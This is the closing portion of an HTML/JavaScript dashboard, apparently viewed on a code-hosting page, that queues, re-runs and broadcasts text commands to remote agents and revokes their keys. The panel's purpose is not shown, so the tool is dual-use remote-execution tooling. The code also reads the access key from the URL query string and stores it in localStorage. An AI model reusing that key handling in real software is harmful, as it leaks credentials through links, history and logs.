'<div class="top">' +
|
||||
'<span class="state ' + esc(c.state) + '">' + esc(c.state) + '</span>' +
|
||||
'<span class="txt">' + esc(c.text) + '</span>' +
|
||||
'<span class="when">' + clock(c.created) + (duration ? " - " + duration : "") + '</span>' +
|
||||
'</div>' +
|
||||
'<div class="body">' + result +
|
||||
'<div style="margin-top:8px;display:flex;gap:8px">' +
|
||||
'<button class="ghost copy" data-copy="' + esc(c.id) + '">copy result</button>' +
|
||||
'<button class="ghost" data-again="' + esc(c.text) + '">run again</button>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
}).join("");
|
||||
|
||||
Array.prototype.forEach.call($("history").querySelectorAll(".cmd"), function (el) {
|
||||
el.querySelector(".top").addEventListener("click", function () {
|
||||
var id = el.getAttribute("data-id");
|
||||
openIds[id] = !openIds[id];
|
||||
el.classList.toggle("open");
|
||||
});
|
||||
});
|
||||
|
||||
Array.prototype.forEach.call($("history").querySelectorAll("[data-copy]"), function (b) {
|
||||
b.addEventListener("click", function (e) {
|
||||
e.stopPropagation();
|
||||
var pre = $("r_" + b.getAttribute("data-copy"));
|
||||
if (!pre) return;
|
||||
navigator.clipboard.writeText(pre.textContent).then(function () { toast("result copied", "ok"); });
|
||||
});
|
||||
});
|
||||
|
||||
Array.prototype.forEach.call($("history").querySelectorAll("[data-again]"), function (b) {
|
||||
b.addEventListener("click", function (e) {
|
||||
e.stopPropagation();
|
||||
$("text").value = b.getAttribute("data-again");
|
||||
send();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function send() {
|
||||
var text = $("text").value.trim();
|
||||
if (!selected) { toast("select an agent first", "bad"); return; }
|
||||
if (!text) return;
|
||||
|
||||
$("sendBtn").disabled = true;
|
||||
|
||||
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: selected, text: text }) })
|
||||
.then(function (r) {
|
||||
if (!r.ok) throw new Error(r.error || "enqueue failed");
|
||||
$("text").value = "";
|
||||
$("text").style.height = "42px";
|
||||
toast("queued for " + selected, "ok");
|
||||
return refresh(false);
|
||||
})
|
||||
.catch(function (e) { toast("send failed: " + e.message, "bad"); })
|
||||
.then(function () { $("sendBtn").disabled = false; });
|
||||
}
|
||||
|
||||
/* ---------------- all commands view ---------------- */
|
||||
|
||||
var viewMode = "console";
|
||||
var allCommands = [];
|
||||
var sortKey = "created";
|
||||
var sortDir = "desc";
|
||||
var openAll = {};
|
||||
|
||||
function fmtDuration(c) {
|
||||
if (c.finished && c.sent) return ((c.finished - c.sent) * 1000) + " ms";
|
||||
if (c.state === "sent") return "waiting";
|
||||
return "-";
|
||||
}
|
||||
|
||||
function loadAll() {
|
||||
return api("/api/commands?limit=200").then(function (r) {
|
||||
allCommands = r.commands || [];
|
||||
renderAll();
|
||||
}).catch(function (e) {
|
||||
if (String(e.message) !== "denied") toast("load failed: " + e.message, "bad");
|
||||
});
|
||||
}
|
||||
|
||||
function rowValue(c, key) {
|
||||
if (key === "duration") return (c.finished && c.sent) ? (c.finished - c.sent) : 1e9;
|
||||
if (key === "agent") return String(c.agent || "").toLowerCase();
|
||||
if (key === "text") return String(c.text || "").toLowerCase();
|
||||
if (key === "state") return String(c.state || "");
|
||||
if (key === "operator") return String(c.operator || "");
|
||||
if (key === "result") return String(c.result || "").toLowerCase();
|
||||
return c[key] || 0;
|
||||
}
|
||||
|
||||
function renderAll() {
|
||||
var f = ($("cmdFilter").value || "").toLowerCase();
|
||||
var st = $("stateFilter").value;
|
||||
|
||||
var rows = allCommands.filter(function (c) {
|
||||
if (st && c.state !== st) return false;
|
||||
if (!f) return true;
|
||||
return String(c.agent).toLowerCase().indexOf(f) >= 0 || String(c.text).toLowerCase().indexOf(f) >= 0;
|
||||
});
|
||||
|
||||
rows.sort(function (a, b) {
|
||||
var av = rowValue(a, sortKey), bv = rowValue(b, sortKey);
|
||||
if (av < bv) return sortDir === "asc" ? -1 : 1;
|
||||
if (av > bv) return sortDir === "asc" ? 1 : -1;
|
||||
return 0;
|
||||
});
|
||||
|
||||
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
|
||||
th.classList.toggle("sorted", th.getAttribute("data-sort") === sortKey);
|
||||
th.classList.toggle("asc", th.getAttribute("data-sort") === sortKey && sortDir === "asc");
|
||||
th.classList.toggle("desc", th.getAttribute("data-sort") === sortKey && sortDir === "desc");
|
||||
});
|
||||
|
||||
var html = rows.map(function (c) {
|
||||
var open = openAll[c.id];
|
||||
var detail = open
|
||||
? '<tr class="detail"><td colspan="7"><pre>' + esc(c.result || "(no output)") + "</pre></td></tr>"
|
||||
: "";
|
||||
|
||||
return '<tr class="row" data-id="' + esc(c.id) + '" title="click to load into the console">' +
|
||||
'<td class="when">' + clock(c.created) + "</td>" +
|
||||
'<td class="agent">' + esc(c.agent) + "</td>" +
|
||||
'<td class="text"><span class="exp" data-expand="' + esc(c.id) + '" title="show result">' +
|
||||
(openAll[c.id] ? "-" : "+") + "</span>" +
|
||||
'<span class="rerun" data-rerun="' + esc(c.text) + '" data-rerun-agent="' + esc(c.agent) +
|
||||
'" title="run this again now">run</span>' +
|
||||
esc(c.text) + "</td>" +
|
||||
'<td><span class="state ' + esc(c.state) + '">' + esc(c.state) + "</span></td>" +
|
||||
'<td class="when">' + esc(c.operator || "") + "</td>" +
|
||||
'<td class="res" data-expand="' + esc(c.id) + '" title="' + esc((c.result || "").replace(/\s+/g, " ")) + '">' +
|
||||
esc((c.result || "").replace(/\s+/g, " ").slice(0, 90)) + "</td>" +
|
||||
'<td class="num">' + esc(fmtDuration(c)) + "</td>" +
|
||||
"</tr>" + detail;
|
||||
}).join("");
|
||||
|
||||
$("cmdBody").innerHTML = html;
|
||||
$("cmdEmpty").style.display = rows.length ? "none" : "block";
|
||||
|
||||
Array.prototype.forEach.call($("cmdBody").querySelectorAll("[data-rerun]"), function (b) {
|
||||
b.addEventListener("click", function (e) {
|
||||
e.stopPropagation();
|
||||
|
||||
var cmdText = b.getAttribute("data-rerun");
|
||||
var agent = b.getAttribute("data-rerun-agent");
|
||||
|
||||
if (!confirm("Run again on " + agent + "?\n\n" + cmdText)) return;
|
||||
|
||||
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: agent, text: cmdText }) })
|
||||
.then(function (r) {
|
||||
if (!r.ok) throw new Error(r.error || "enqueue failed");
|
||||
toast("queued on " + agent, "ok");
|
||||
return loadAll();
|
||||
})
|
||||
.catch(function (err) { toast("rerun failed: " + err.message, "bad"); });
|
||||
});
|
||||
});
|
||||
|
||||
Array.prototype.forEach.call($("cmdBody").querySelectorAll("tr.row"), function (tr) {
|
||||
tr.addEventListener("click", function (e) {
|
||||
var id = tr.getAttribute("data-id");
|
||||
var expander = e.target.closest("[data-expand]");
|
||||
|
||||
// Clicking the result or the + toggles the output; clicking anywhere else
|
||||
// loads the command into the console for immediate re-run.
|
||||
if (expander) {
|
||||
openAll[id] = !openAll[id];
|
||||
renderAll();
|
||||
return;
|
||||
}
|
||||
|
||||
loadIntoConsole(tr);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Fast path: pick a past command, land in that agent's console with the text
|
||||
// already in the box, cursor blinking, one Enter away.
|
||||
function loadIntoConsole(tr) {
|
||||
var id = tr.getAttribute("data-id");
|
||||
var c = allCommands.filter(function (x) { return x.id === id; })[0];
|
||||
|
||||
if (!c) return;
|
||||
|
||||
if (selected !== c.agent) select(c.agent);
|
||||
|
||||
setView("console");
|
||||
|
||||
var box = $("text");
|
||||
box.value = c.text;
|
||||
box.style.height = "42px";
|
||||
box.style.height = Math.min(box.scrollHeight, 160) + "px";
|
||||
box.focus();
|
||||
|
||||
toast("ready to send: " + c.text.slice(0, 48), "ok");
|
||||
}
|
||||
|
||||
function setView(mode) { viewMode = mode;
|
||||
|
||||
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
|
||||
b.classList.toggle("active", b.getAttribute("data-view") === mode);
|
||||
});
|
||||
|
||||
var all = mode === "commands";
|
||||
|
||||
$("allView").style.display = all ? "block" : "none";
|
||||
$("history").style.display = all ? "none" : "block";
|
||||
$("composer").style.display = all ? "none" : (selected ? "flex" : "none");
|
||||
$("cmdFilter").style.display = all ? "block" : "none";
|
||||
$("stateFilter").style.display = all ? "block" : "none";
|
||||
|
||||
if (all) loadAll(); else if (selected) refresh(false);
|
||||
}
|
||||
|
||||
$("loginBtn").addEventListener("click", connect);
|
||||
$("key").addEventListener("keydown", function (e) { if (e.key === "Enter") connect(); });
|
||||
|
||||
$("refreshBtn").addEventListener("click", function () { refresh(true); });
|
||||
$("bcBtn").addEventListener("click", function () {
|
||||
var text = prompt("Broadcast to every online agent:", "STATUS");
|
||||
if (!text) return;
|
||||
api("/api/broadcast", { method: "POST", body: JSON.stringify({ target: "all", text: text }) })
|
||||
.then(function (r) { toast("broadcast queued for " + r.sent + " agents", "ok"); refresh(false); })
|
||||
.catch(function (e) { toast("broadcast failed: " + e.message, "bad"); });
|
||||
});
|
||||
$("lockBtn").addEventListener("click", function () {
|
||||
localStorage.removeItem("agentKey");
|
||||
KEY = "";
|
||||
lock("");
|
||||
});
|
||||
$("filter").addEventListener("input", renderAgents);
|
||||
|
||||
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
|
||||
b.addEventListener("click", function () { setView(b.getAttribute("data-view")); });
|
||||
});
|
||||
|
||||
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
|
||||
th.addEventListener("click", function () {
|
||||
var k = th.getAttribute("data-sort");
|
||||
if (sortKey === k) sortDir = sortDir === "asc" ? "desc" : "asc";
|
||||
else { sortKey = k; sortDir = (k === "created") ? "desc" : "asc"; }
|
||||
renderAll();
|
||||
});
|
||||
});
|
||||
|
||||
$("cmdFilter").addEventListener("input", renderAll);
|
||||
$("stateFilter").addEventListener("change", renderAll);
|
||||
|
||||
$("moreCmds").addEventListener("click", function () {
|
||||
var p = $("palette");
|
||||
p.classList.toggle("open");
|
||||
|
||||
if (p.classList.contains("open")) {
|
||||
renderPalette($("cmdSearch").value);
|
||||
$("cmdSearch").focus();
|
||||
}
|
||||
});
|
||||
|
||||
$("cmdSearch").addEventListener("input", function () { renderPalette(this.value); });
|
||||
$("sendBtn").addEventListener("click", send);
|
||||
$("revokeBtn").addEventListener("click", function () {
|
||||
var a = agents.filter(function (x) { return x.id === selected; })[0];
|
||||
if (!a) return;
|
||||
|
||||
if (!confirm((a.revoked ? "Restore" : "Revoke") + " key for " + a.id + "?")) return;
|
||||
|
||||
api("/api/revoke", { method: "POST", body: JSON.stringify({ agent: a.id, revoked: !a.revoked }) })
|
||||
.then(function () { toast(a.revoked ? "key restored" : "key revoked", "ok"); refresh(true); })
|
||||
.catch(function (e) { toast("revoke failed: " + e.message, "bad"); });
|
||||
});
|
||||
|
||||
$("clearSelection").addEventListener("click", function () {
|
||||
selected = null;
|
||||
$("agentTitle").style.display = "none";
|
||||
$("composer").style.display = "none";
|
||||
$("noAgent").style.display = "block";
|
||||
$("agentMeta").innerHTML = "";
|
||||
$("history").innerHTML = "";
|
||||
renderAgents();
|
||||
});
|
||||
|
||||
$("text").addEventListener("keydown", function (e) {
|
||||
if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); send(); }
|
||||
});
|
||||
|
||||
$("text").addEventListener("input", function () {
|
||||
this.style.height = "42px";
|
||||
this.style.height = Math.min(this.scrollHeight, 160) + "px";
|
||||
});
|
||||
|
||||
document.addEventListener("keydown", function (e) {
|
||||
if (e.key === "/" && document.activeElement.tagName !== "INPUT" && document.activeElement.tagName !== "TEXTAREA") {
|
||||
e.preventDefault();
|
||||
$("filter").focus();
|
||||
}
|
||||
});
|
||||
|
||||
var preKey = new URLSearchParams(location.search).get("key");
|
||||
if (preKey) { KEY = preKey; localStorage.setItem("agentKey", KEY); }
|
||||
|
||||
if (KEY) { $("login").style.display = "none"; start(); }
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user